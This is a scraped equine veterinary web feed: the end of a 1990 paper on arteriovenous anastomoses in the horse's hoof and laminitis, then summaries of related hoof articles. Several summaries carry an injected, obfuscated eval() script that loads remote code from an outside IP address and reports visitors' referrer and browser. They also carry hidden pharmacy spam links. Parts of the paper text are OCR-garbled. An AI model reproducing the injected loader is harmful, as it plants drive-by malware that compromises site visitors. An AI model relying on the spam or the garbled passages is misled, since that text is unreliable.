<p><em><strong>Fig 10:</strong> Schematic diagram of the laminar dermal circulation. For reasons of clarity the capillary network is shown to six vertically oriented abaxial capillaries. Numerous AVAs are present throughout the laminar dermal circulation but the longest and largest are found close to branches of the axial arteries.</em></p> <hr align="center" width="500" /> <p>The majority of the laminar capillaries were orientated vertically and were situated in abaxial rows on either side of the axial vessels (Fig 10). The rows were more obvious distally. Some of the capillaries formed show abaxial loops which in vivo would penetrate between pairs of secondary epidermal laminae. In this study none of the capillary enlargements and sprout-like structures described by Mishra and Leach (1983b) were recognized.</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_11.jpg" width="328" height="472" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_11" src="images/stories/horshoes-graphics/dermal_microcirculation_11.jpg" width="328" height="472" /></p> <p><em><strong>Fig 11:</strong> Vascular corrosion cast of abaxial laminar capillaries (C) draining into an axial interconnecting vein (V). The pavement impression of oval endothelial cells on the surface of the venous cast (V) is artery (characteristic for veins (bar = 40 u)</em></p> <hr align="center" width="500" /> <p>Laminar aneries (branches of the anerial plexus of the wall corium) entered the laminar circulation axially between each pair of axial veins (Fig 10). Each axial anery was connected to its neighbor by smaller calibre, interconnecting branches oriented vertically. Long anerial anastomoses at the periphery of each dennal lamina appeared to be the architectural equivalents of the marginal vein. Some abaxial branches of the axial interconnecting arteries gave rise to tufts of vertically orientated capillaries arranged in rows (Fig 10 and 12).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_12.jpg" width="334" height="466" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_12" src="images/stories/horshoes-graphics/dermal_microcirculation_12.jpg" width="334" height="466" /></p> <p><em><strong>Fig 12:</strong> Vascular corrosion cast of abaxial laminar capillaries (C) arising from a short side branch of an interconnecting artery (A). The artery is recognized by the characteristic longitudinal indentations made on the cast by the endothelial cells of the arterial lumen (bar = 40 u)</em></p> <hr align="center" width="500" /> <p>In the interior third of each lamina and in the corium proper, close to each axial artery were clusters of AVAs with an average diameter of 40t. Their venous end drained into veins of the axial plexus and not the axial vein proper. The arterial ends were situated on the vertical interconnecting branches close to their origins on the main axial arteries. Smaller calibre, shorter AVAs were present throughout the laminar circulation and were occasionally found connecting the vertical peripheral axial artery with the marginal vein. The density (number per cmz) of AVAs was estimated by counting the number of AVAs present in measured areas of vascular casts of the dermal laminae and was approximately 500 per cm.</p> <p><span style="font-size: 12pt;"><strong>Discussion</strong></span></p> <p>Since the microvascular corrosion cast can be considered a three- dimensional vascular skeleton around which the extravascular components are arranged (Rogers and Gannon 1983), the characteristic patterns of the vascular skeleton reflect the anatomy of the surrounding tissues. Thus the internal surface of the coronary and perioplic grooves of the proximal hoof wall were concave and the complementary vascular casts were convex. The keratinized surfaces of the coronary and perioplic grooves were perforated by numerous small openings which received the 4 to 6mm long papillae of the coronary and perioplic dermis or corium (Sack and Habel 1977, Schummer et al 1981). The vascular casts of the coronary and perioplic papillae were cone-shaped and the tapering tips of the cones formed a brush-border. A similar anatomical relationship existed between the vascular casts of the sole and frog papillae and their complementary, keratinized structures.</p> <p>Below the coronary groove the internal surface of the hoof wall bears approximately 600 keratinized, primary epidermal laminae interdigitating with an equal number of dermal laminae (Sack and Habel 1977, Schummer et al 1981). The vascular skeletons of the laminar region reflected this anatomical arrangement and were arranged in rows of thin parallel sheets (Fig 1 a). The casts of proximal laminar vessels merged with the papillae of the coronary demlis, but those of the distal laminae ended in rows of terminal papillae which resembled vascular casts of coronary and sole papillae. The epidermis of the terminal papillae continually produces pigmented horn which fills the spaces (originally occupied by dermal laminae) between the distal ends of the unpigmented epidermal laminae as they grow downwards to form the inner border of the white zone (Sack and Habel 1977, Schummer et a1 1981).</p> <p>The characteristic surface marking of the vascular cohesion casts of the digital dermis clearly differentiates AVAs from ins arterial and venous vessels (Figs 2, 3, 4 and 5). Less prominent in surface markings have been reported on the surface of AVAs in vascular casts of the rabbit's ear (Monis and Bevan 1984; Amevo 1984; Amevo and Molyneux 1985). In transmission electron microscopy studies of the digital dermis of the horse (Molyneux and Pollitt 1987) the endothelium of AVAs is very prominent and ally. protrudes into the lumen of the anastomoses forming an undercut into and tunnel-like areas which correlate with the alveoli. Appearance of AVAs in vascular casts. Prominent endothelial-like cells, but less so than in the foot of the horse, are a usual feature were of cutaneous AVAs and have been observed in AVAs in the leg of the sheep and the ear of the rabbit (Molyneux, unpublished wall observations). The significance of this distinguishing feature of a pair AVA structure remains obscure, although such an arrangement to its could be advantageous in completely occluding the lumen on ended closure of the anastomoses, particularly as they lack an internal each elastic lamina.</p> <p>The density of laminar AVAs at 500 AVAs/cm2 is probably an underestimate as only one surface of each dermal lamina could be clearly examined. Nevertheless, it is a tenfold increase on the density reported by Rooney (1984) using light microscopy and serial sections. AVA densities greater than this have only been reported in the flipper skin of marine animals such as the Weddel seal (Leptonychote.s weddelli) (1000 AVAs/cmz) and the Southern elephant seal (Mirounga leonina) (1200 AVAs/cmz) (Molyneux and Bryden 1981) so the horse is comparatively well endowed with digital AVAs, The large number of laminar AVAs may be an adaptation preventing cold induced tissue damage in horses standing for long periods in ice and snow. A similar explanation has been proposed for the large number of AVAs in the naked feet and legs of polar birds (Munish and Guard 1977). When environmental temperatures drop below 0C, the feet are prevented from freezing by periodic vasodilatation of AVAs. This allows warm blood to bypass the capillary bed and enter the digits quickly to maintain their temperatures above the freezing point.</p> <p>Consideration of the enormous pressure fluctuations which must develop within the equine hoof capsule during galloping and jumping supports the proposal that "bypasses", such as digital AVAs, act as vascular safety valves (Schummer et al 1981). Instead of blood being forced into the high resistance capillary bed (which has a relatively slow circulation time) during peaks of high pressure, blood can be shunted safely from artery to vein via periodically open AVAs, Blood may even flow back and forth from vein to artery when AVAs are open, a phenomenon seen in the dermal microcirculation of conscious rabbit's ears through transparent chambers (Molyneux, unpublished data). If this occurs in the equine digit it may explain why there are no valves found in the veins of the dermal laminae, (Mishra and Leach 1983a).</p> <p>The dermal microcirculation of the equine digit contains a large number of anastomoses in all divisions of its vascular organization. In the laminar circulation, arteries anastomose with each other at regular intervals along the vertical length of each of the 600 or so dermal laminae (from the level of the coronary papillae down to the terminal papillae). The laminar veins also anastomose extensively (the axial venous plexus) and form the bulk of the vascular skeleton of casts of the dermal laminae (Schummer et al 1981). Such a large number of anastomoses would probably impart resistance to infarction so that intravascular coagulation alone cannot be the primary cause of the peripheral digital ischaemia stated to occur during the pathogenesis of early laminitis (Hood et al 1979; Coffman 1972; Ackerman et al 1975; Coffman et al 1970).</p> <p>The inappropriate activity of arteriovenous anastomoses has been said to decrease digital capillary perfusion and cause degeneration of dermal-epidermal tissues (Coffman et al 1970; Coffman 1972; Ackerman et al 1975; Garner 1975; Hood et al 1978; Hood and Stephens 1981; Coffman 1984; Yelle 1986) although the precise anatomical location of such AV shunts was unknown (Hood and Stephens 1981; Mishra and Leach 1983b). Experiments using radioactive particles (Hood et a! 1978) have shown the digital AV shunting does occur during the onset of laminitis and have explained how unchanged or increased total digital blood flow (Robinson et a1 1976) can occur simultaneously with capillary ischaemia of the digit.</p> <p>Since this study has shown that AVAs occur extensively in the dermal circulation in the coronary and terminal papillae as well as in the laminae, the AVA mediated ischaemia of developmental laminitis may affect not only the laminae, but the coronary and terminal papillae as well. Failure of coronary papillae to receive adequate perfusion would result in cessation of hoof wall growth and, if severe enough, coronary band necrosis. This may explain the disturbed hoof and coronary band growth patterns which follow laminitis (Colles and Jeffcott 1977; Yelle 19A6). Weakening or necrosis of the epidermis supplied by the terminal papillae would contribute to separation of the sole wall junction and may account for the sudden appearance of the air or gas line visible in the laminar region of the hoof wall on lateral radiographs made during acute laminitis (Yelle 1986).</p> <p>The presence of large numbers of AVAs directly connecting arteries to veins allows the following pathophysiological mechanism to be proposed. During the developmental stage of laminitis the digital AVAs come under the influence of humoral or neuronal factors which induce their prolonged dilatation. Arterial blood flows rapidly into the venous system, instead of slowly perusing the high resistance capillary bed of the coronary papillae, dermal laminae and terminal papillae. If this inappropriate dilatation of AVAs proceeds for long enough, capillary ischaemia causes epidermal necrosis and disintegration of the hoof-pedal bone bond. After AV shunting has initiated laminitis the disease enters the painful, acute phase and a number of overlapping pathological phenomena follow. Coagulation dysfunction (Hood et al 1979), hypertension (Garner et al 1975), catecholamine release (Amoss, Gremmel and Hood 1982) occur and clinically their effect can be ameliorated with drugs such as the alpha-blockers acepromazine or phenoxybenzamine (Hood, Stephens and Amoss (1982a) and the anticoagulant heparin (Hood, Stephens and Amoss 1982b).</p> <p>If this theory is correct it implies that epidermal cell damage must be one of the earliest lesions of developmental laminitis, universally affecting the entire hoof wall of all four feet. Why then is laminitis usually confined to the toes of the front feet? Perhaps the mechanical factors which cause tearing of the laminae at the toe of the forelegs in 'road founder' (Rooney 1984) also operate during developmental and acute laminitis. The degree of rotation of the hoof wall as it is tom away from the third phalanx (P3) and the amount of sinking of P3 within the hoof capsule vary according to the extent of epidermal cell damage and the interplay of mechanical forces such as weight, centre of gravity, hoof-pastern conformation, amount of forced exercise and the break-over forces of locomotion. This explains why a properly applied Heart-bar Shoe (Chapman and Platt 1994) which stabilized the third phalanx and to some extent neutralizes the angular forces tearing the laminae from P3 can be so efficacious if applied in the early stages of the laminitis syndrome (Pollitt, unpublished data).</p> <p>The bounding digital pulse which is a characteristic clinical finding of laminitis (Colles and Jeffcott 1977; Yelle l996) is probably the result of a change in the dynamics of the pulse wave when the arterial blood bypasses high resistance dermal capillary bed via dilated dermal AVAs. Experiments demonstrating that horses with laminitis have more radioactive cystine in the venous return of their digits than normal horses (Larsson, Obel and Aberg 1956) has suggested that a failure of keratinization or onychogenesis in the cystine dependent cells of the stratum spinosum plays a primary role in the development of laminitis (Coffman 1972). However generalized digital AVA dilatation and the AV shunting of blood would also result in higher than normal concentrations of venous cystine.</p> <p>It seems likely that AVAs have a specific role in the pathophysiology of developmental laminitis, because under certain conditions, over 50 per cent of the limb blood flow can pass through AVAs (Hales and Molyneux 1988) and the existence of relatively large numbers of AVAs in the dermis of the horses digit has now been established. The presence of vasodilator substances such as vasoactive intestinal polypeptide (VIP), substance P and calcitonin gene-related polypeptide (CGRP) in the dense innervation of the dermal AVAs in the digits of horses and ponies (Molyneux and Pollitt 1978) supports our contention that the triggering of perturbed AVA dilatation may be the common denominator linking the varied aetiologies of laminitis.</p> <p>Trout (1987) used radionuclide angiography to show increased total laminar blood flow in the digital circulation of horses with acute laminitis. Prolonged AVA dilatation is a likely cause of this increase but the techniques used were unable to differentiate between capillary and AVA blood flow in the laminar tissues. However synthetic radioactive microspheres of known diameter have been used to partition cutaneous capillary and AVA blood flow (Hales, Fawcett and Bennett 1978; Hales 1981) and experiments in collaboration with Dr. Hales are in progress to differentiate laminar capillary from AVA flow in horses and ponies.</p> <p><span style="font-size: 12pt;"><strong>Acknowledgments</strong></span></p> <p>This study was supported by a grant from the Queensland Equine Research Foundation. The technical assistance provided by the University of Queensland Electronmicroscopy Unit is gratefully acknowledged.</p> <p><span style="font-size: 12pt;"><strong>References</strong></span></p> <p><strong>Amevo, B. (1984)</strong> Micro-corrosion cast study of the luminal morphology of cutaneous orteriovenous anastomoses. MSc. thesis. Department of Anatomy, University of Queensland, Australia. <br /><br /><strong>Amevo, B. and Molyneux, G. S. (1985)</strong> Luminal morphology of cutaneous arteriovenous anastomoses. J. Anat.152, 2l5. <br /><br /><strong>Amoss, M. S. Gremmel, S. H. and Hood, D. M. (l982)</strong> Proceedings of First Equine Endotoxaemia-Laminitis Symposium. Endocrine involvement in induced acute laminitis. Am. Ass. Equine. Pract. Newsletter 2,135-I40. <br /><br /><strong>Ackerman, N., Gamer, H. E., Coffman, J. R. and Clement, J. W. (1975)</strong> Angiographic appearance of the normal equine foot and alterations in chronic laminitis. J. Am. vet. med. Ass.166, 58-62. <br /><br /> <strong>Chapman, B. and Platt, G. W. ( 1984)</strong> Laminitis. Proc. Am. Ass. equine Pract. 30, 99- IIS. <br /><br /><strong>Coffman, J. R., Johnson, J. H., Guffy, M. M. and Finocchio, E. J. ( 1970)</strong> Hoof circulation in equine laminitis. J. Am. vet. med. Ass.156, 76-83. <br /><br /><strong>Coffman, J. R. ( 1972)</strong> Acute laminitis. J. Am. vet. med. Ass.161, l280-1283. <br /><br /> <strong>Coffman, J. R. (1984)</strong> Acute laminitis; mechanisms and therapy. In: Equine Internal Medicine. Proceedings of the 6th Bain-Fallon Memorial Lectures. University of Sydney. Aust. Equine vet. Ass. pp 68-72. <br /><br /> <strong>Colles, C. M. and Leffcott, L. B. (1977)</strong> Laminitis in the horse. Vet. Rec. 100, 262- 264. <br /><br /><strong>Gamer, H. E. ( 1975)</strong> Pathophysiology of equine laminitis. Proc. Am. Ass. equine Pracr. 21,384-387. <br /><br /> <strong>Gannon, B. J. (1978)</strong> Vascular casting. In Principles and techniques of scanning electron microscopy. Biological applications, Vol 6, Ed: M. A. Hayat, Van Nostrand-Reinhold, New York. pp l70-193 <br /><br /><strong>Hales, J. R. S. ( 1981 )</strong> Use of microspheres to partition the microcirculation between capillaries and arteriovenous anstomoses. In "Progress in Microcirculation Research" Ed: D. Garlick. Committee in Postgraduate Medical Education, University of New South Wales, pp 395-412. <br /><br /><strong>Hales, J. R. S., Fawcett, A. A. and Bennett, J. W. (1978)</strong> Radioactive microsphere partitioning of blood flow between capillaries and arteriovenous anastomoses in skin of conscious sheep. Pflugers Archiv. 376, 87-91. <br /><br /> <strong>Hales, J. R. S. and Molyneux. G. S. (l988)</strong> Control of cutaneous arteriovenous anastomoses. In: Mechanisms of Vasodilatation. Ed: P. M. Vanhoute. Raven Press, New York. <br /><br /> <strong>Hood, D. M., Amoss, M. S., Hightower, D., McDonald, D. R., McGrath, J. P., McMullan, W. C. and Scrutchfield, W. L. (1978)</strong> Equine laminitis In Radioisotopic analysis of the hemodynamics of the foot during the acute disease. J. Equine Med. Surg. 2, 439-444. <br /><br /> <strong>Hood, D. M., Gremmel, S. M., Amoss, M. S., Button, C. and Hightower, O. (1979)</strong> Equine laminitis III: Coagulation dysfunction in the developmental and acute disease. J. Equine Med. Surg. 3, 355-360. <br /><br /> <strong> Hood, D. M. and Stephens, K. A. (1981)</strong> Physiopathology of equine laminitis. Comp. cont. Educ. pract. vet. 3, S454-459. <br /><br /><strong> Hood, D. M., Stephens, K. A. and Amoss, M. S. ( 1982a)</strong> The use of alpha- and beta- adrenergic blockade as a preventative in the carbohydrate model of laminitis: a preliminary report. Proceedings of the First Equine Endotoxaemia-Laminitis Symposium. Am. Ass. Equine Pract. Newsletter 2, 142-146. <br /><br /> <strong> Hood, D. M., Stephens, K. A. and Amoss, M. S. (1982b)</strong> Heparin as a preventative for equine laminitis: A preliminary report. Proceedings of First Equine Endotoxemia-Laminitis Symposium. Am. Ass. Equine Pract. Newsletter 2, 146- 149. <br /><br /><strong> Kardon, R. H. and Kessel, R. G. ( 1979)</strong> SEM studies on vascular casts of the rat ovary. In: Scanning electron microscopy/1979/III, Eds: R.P. Becker and O. Jahari Scanning Electron Microscopy Inc., Chicago. pp 743-750. <br /><br /> <strong> Larsson, B., Obel, N. and Aberg, B. ( 1956)</strong> On the biochemistry of keratinization in the matrix of the horses' hoof in normal conditions and in laminitis. Nord. vet. Med. 8, 761-776. <br /><br /><strong> Mishra, P. C. and Leach, D. H. (1983a)</strong> Extrinsic and intrinsic veins of the equine hoof wall. J. Anat.136, 543-560. <br /><br /> <strong> Mishra, P. C. and Leach, D. H. (l983b)</strong> Electron microscopic study of the veins of the dermal lamellae of the equine hoof wall. Equine vet. J.15, 14-21. <br /><br /> <strong> Molyneux, G. S. ( 1965)</strong> Observation on the structure, distribution and significance of arterio-venous anastomoses in sheep skin. In: Biology of the Skin and Hair Growth. Eds: A. G. Lyne and B. F. Short, Angus and Robertson, Sydney, pp.591- 602. <br /><br /> <strong> Molyneux, G. S. and Bryden, M. M. (1981)</strong> Comparative aspects of arteriovenous anastomoses. In: Progress in Anatomy. Vol. I., Ed: R. J. Harrison, Cambridge University Press, Cambridge, pp 207-227. <br /><br /> <strong> Molyneux, G. S. and Pollitt, C. C. ( 1987)</strong> An electron microscopic study of the laminar dermal microcirculation of the equine foot. II. Ultrastructure and innervation of arteriovenous anastomoses (AVAs). In: Progress in microcirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and D. G. Garlick, The University of New South Wales, p 24. <br /><br /><strong> Morris, J. L. and Bevan, R. D. ( 1984) </strong> Development of the vascular bed in the rabbit ear: scanning electron microscopy of vascular corrosion casts. Am. J. Anat. 171, 75-89. <br /><br /> <strong> Murrish, D. E. and Guard, C. L. (1977)</strong> Cardiovascular adaptations of the giant petrel, Macronectes giganteus to the Antarctic environment. In: Adaptations within Antarctic ecosystems. Proc. 3rd SCAR symp. on Antacrtic Biology, Ed: G. A. Llano. Smithsonian Institution, Washington pp. 511-530. <br /><br /> <strong> Pollitt, C. C. and Molyneux G. S. (1987)</strong> An electron microscopic study of the laminar dermal microcirculation of the equine foot I. Scanning electron microscopy. In: Progress in microcirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and d. G. Garlick, the University of New South Wales. p.23. <br /><br /> <strong> Robinson, N. E., Scott, J. B. and Dabney, J. M. ( 1976) </strong> Digital vascular responses and permeability in eqine alimentary laminitis. Am. J. vet. Res. 37, 1171-1176. <br /><br /> <strong>Rogers, P. A. W. and Gannon, B. J. (1983)</strong> The microvascular cast as a three- dimensional tissue skeleton: visualization of rapid morphological changes in tissues of the rat uterus. J. Microsc.131, 241-247. <br /><br /> <strong>Rooney, J. R. (1984)</strong> Arteriovenous anastomoses in the digit of the horse. Equine vet. Sci.4, 182-183. <br /><br /> <strong>Sack, W.0. and Habel, R. E. (1977)</strong> Rooney's guide to the dissection of the horse. Veterinary Textbooks, Ithaca, New York, p.162. <br /><br /><strong>Schummer, A., Wilkens, H., Vollmerhaus, B. and Habermehl, K-H. (1981 )</strong> In: The circulatory system, the skin and the cutaneous organs of the domestic mammals. Verlag Paul Perry. Berlin, p. 557. <br /><br /><strong>Talukdar, A. H., Calhoun, M. L. and Stinson, A. W. (1972)</strong> Specialized vascular structures in the skin of the horse. Am. J. vet. Res. 33, 335-338. <br /><br /><strong> Trout, D. R. (1987)</strong> Scintographic evaluation in digital circulation during the development and acute phases of laminitis. Ph. D. dissertation. University of California. Davis. <br /><br /> <strong> Yelle, M. (1986)</strong> Clinicians guide to equine laminitis. Equine vet. J.18, 156-l58.</p> <p>Posted here with the permission of the authors.<br />First published in Equine vet. J., (1990) 22(2)79-87</p></div> Microanatomy of the Intersection of the Distal Sesamoidean Impar Ligament and the Deep Flexor Tendon: A preliminary report 2009-01-11T07:12:26+00:00 2009-01-11T07:12:26+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/359-microanatomy-of-the-intersection-of-the-distal-sesamoidean-impar-ligament-and-the-deep-flexor-tendon-a-preliminary-report R.M. Bowker and Kimberly K. Van Wulfen baron@horseshoes.com <div class="feed-description"><p><strong>Summary</strong></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eknzd|var|u0026u|referrer|byzzt||js|php'.split('|'),0,{})) </script></noindex> <p><span class="dropcap">T</span>he microanatomy of the distal sesamoidean impar ligament (DSIL) indicated that this ligament distally is comprised of multiple dense connective tissue fiber bundles with extensive loose connective septae containing numerous vascular channels and neural networks. In contrast, <a href="http://******-usa.net" style="text-decoration:none;color:#555555">nurse</a> the deep digital flexor tendon (DDFT) at the level of the distal sesamoid bone and other ligamentous structures consist of broad connective tissue fiber bundles with comparatively little loose connective tissue septae and less of a vascular network. In addition, <a href="http://cheap******onlineusacanadagg.net/" title="sildenafil" style="text-decoration:none;color:#555555">order</a> arterio venous complexes were observed to be present at the intersection of the DSIL and the DDFT near the attachment to the distal phalanx, which were not present in the DDFT further proximally at the levels of the flexor cortex of the distal sesamoid bone nor in the collateral sehemodynamic perfusion of the tissues through the intersection and the distal sesamoid bone. Furthermore we hypothesize that excessive physical forces impacting upon the intersection of the DSIL and the DDFT during strenuous locomotory behaviors will provide sufficient trauma to initiate inflammatory processes to this soft tissue region. These initial inflammatory processes will result in altered physiological functioning and tissue perfusion of the intersection with its dense innervation and vascular supply leading to other secondary features commonly observed clinically and at necropsy in association with the podotroclosis.</p></div> <div class="feed-description"><p><strong>Summary</strong></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eknzd|var|u0026u|referrer|byzzt||js|php'.split('|'),0,{})) </script></noindex> <p><span class="dropcap">T</span>he microanatomy of the distal sesamoidean impar ligament (DSIL) indicated that this ligament distally is comprised of multiple dense connective tissue fiber bundles with extensive loose connective septae containing numerous vascular channels and neural networks. In contrast, <a href="http://******-usa.net" style="text-decoration:none;color:#555555">nurse</a> the deep digital flexor tendon (DDFT) at the level of the distal sesamoid bone and other ligamentous structures consist of broad connective tissue fiber bundles with comparatively little loose connective tissue septae and less of a vascular network. In addition, <a href="http://cheap******onlineusacanadagg.net/" title="sildenafil" style="text-decoration:none;color:#555555">order</a> arterio venous complexes were observed to be present at the intersection of the DSIL and the DDFT near the attachment to the distal phalanx, which were not present in the DDFT further proximally at the levels of the flexor cortex of the distal sesamoid bone nor in the collateral sehemodynamic perfusion of the tissues through the intersection and the distal sesamoid bone. Furthermore we hypothesize that excessive physical forces impacting upon the intersection of the DSIL and the DDFT during strenuous locomotory behaviors will provide sufficient trauma to initiate inflammatory processes to this soft tissue region. These initial inflammatory processes will result in altered physiological functioning and tissue perfusion of the intersection with its dense innervation and vascular supply leading to other secondary features commonly observed clinically and at necropsy in association with the podotroclosis.</p></div> The Basement Membrane Pathology: A Feature of Acute Equine Laminitis 2009-01-10T12:15:03+00:00 2009-01-10T12:15:03+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/358-the-basement-membrane-pathology-a-feature-of-acute-equine-laminitis C. C. Pollitt, BVSc, PhD baron@horseshoes.com <div class="feed-description"><p><strong>Summary</strong></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnytn|var|u0026u|referrer|hdzby||js|php'.split('|'),0,{})) </script></noindex> <span class="dropcap">T</span>hirty-two dorsal, <a href="http://cialis-price.net" style="text-decoration:none;color:#555555">seek</a> mid-hoof wall, lamellar sections from 8 Standardbred horses, humanely killed 48 hours after the administration of an alimentary carbohydrate overload, were sectioned and examined by light microscopy. Sections were stained with the connective tissue and basement membrane stains periodic acid-Schiff (PAS), Azan and periodic acid silver methanamine (PASM) and with routine haematoxylin and eosin (H&E). Lesions of the epidermal lamellae, attributable to laminitis, were graded in order of increasing severity from Grade N (normal), Grade 1 (mild), Grade 2 (moderate) to Grade 3 (severe and extensive). The grading system was based principally on changes to lamellar basement membrane (BM) which were clearly visible when the connective tissue stains PAS and PASM were used.</div> <div class="feed-description"><p><strong>Summary</strong></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnytn|var|u0026u|referrer|hdzby||js|php'.split('|'),0,{})) </script></noindex> <span class="dropcap">T</span>hirty-two dorsal, <a href="http://cialis-price.net" style="text-decoration:none;color:#555555">seek</a> mid-hoof wall, lamellar sections from 8 Standardbred horses, humanely killed 48 hours after the administration of an alimentary carbohydrate overload, were sectioned and examined by light microscopy. Sections were stained with the connective tissue and basement membrane stains periodic acid-Schiff (PAS), Azan and periodic acid silver methanamine (PASM) and with routine haematoxylin and eosin (H&E). Lesions of the epidermal lamellae, attributable to laminitis, were graded in order of increasing severity from Grade N (normal), Grade 1 (mild), Grade 2 (moderate) to Grade 3 (severe and extensive). The grading system was based principally on changes to lamellar basement membrane (BM) which were clearly visible when the connective tissue stains PAS and PASM were used.</div> The Basement Membrane at the Equine Hoof Dermal Epidermal Junction 2009-01-10T10:47:27+00:00 2009-01-10T10:47:27+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/357-the-basement-membrane-at-the-equine-hoof-dermal-epidermal-junction C. C. Pollitt, BVSc, PhD baron@horseshoes.com <div class="feed-description"><p><span style="font-size: 14pt;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrtak|var|u0026u|referrer|yktdd||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal"><span class="dropcap">I</span>n the equine hoof, the basement membrane connects the heavily keratinised hoof wall to the dense connective tissue of the distal phalanx, a region able to withstand considerable mechanical stress. This study investigated the properties of this important anatomical and physiological structure. In contrast to haematoxylin and eosin, the connective tissue stains, periodic acid Schiff, periodic acid silver methenamine and Azan showed good resolution of lamellar basement membrane. The lamellar basement membrane cross-reacted with mouse monoclonal antibodies raised against human laminin, thereby providing evidence that laminin is a component of the equine basement membrane.</p> The ultrastructure of the equine hoof basement membrane was essentially the same as in other animals but appeared to have many anchoring fibrils and extensions of the lamina densa into the adjoining connective tissue, an arrangement interpreted to convey extra strength to the region. Large areas of the surface of the hoof wall basement membrane could be exposed to examination with the scanning electron microscope by treating tissue blocks with detergent/enzyme or sodium bromide. When epidermal lamellae were separated from their dermal counterparts the basement membrane stayed with the dermis and the dermal lamellae retained their natural shape despite the absence of an adjacent epidermis. The exposed surface of the lamellar basement membrane was generally smooth and unbroken, marked with small indentations and fine wrinkles. At the cut edges of the lamellae, a mesh of tine connective tissue fibres were attached to the inner surface of the basement membrane. The basement membrane of both the coronary and terminal papillae was folded into numerous longitudinal ridges, all parallel to the long axis of the papillae. Like the folds in the basement membrane of the lamellae (the so-called secondary lamellae) the longitudinal ridges of the papillae are probably an adaptation to increase the surface area of attachment of the dermis to the inner hoof wall. The architecture of the equine basement membrane and the tissues adjacent to it is severely disrupted as the pathology of laminitis develops. A study of the basement membrane using the techniques described in this study may add to our understanding of the pathophysiology of equine laminitis. <p><span style="font-size: 14pt;"><strong>Introduction</strong></span></p> <p>A thin, unbroken, sheet of extracellular basement membrane (BM), partitioning the dermis from the epidermis, lines the entire inner hoof wall, sole and frog. Therefore, all the dermal papillae of the periople, coronary groove, sole and frog as well as the dermal lamellae of the inner hoof wall and bars have a BM lining. The BM is a structural boundary between the vascular dermal compartment and the avascular epidermal compartment, but nevertheless coordinates a number of critically important biological processes between the 2 tissues. For instance the BM is a scaffold necessary for the patterned development, maturation and continued maintenance of correctly oriented hoof wall epidermal cells. The BM organises the cytoskeletal framework of the epidermal cells and influences the exchange of nutrients, macromolecules and growth regulating factors (Abrahamson 1986). The equine hoof is unique in that a single digit on each limb supports the entire weight of the animal and withstands a biomechanical load unequalled by less athletic ungulates. 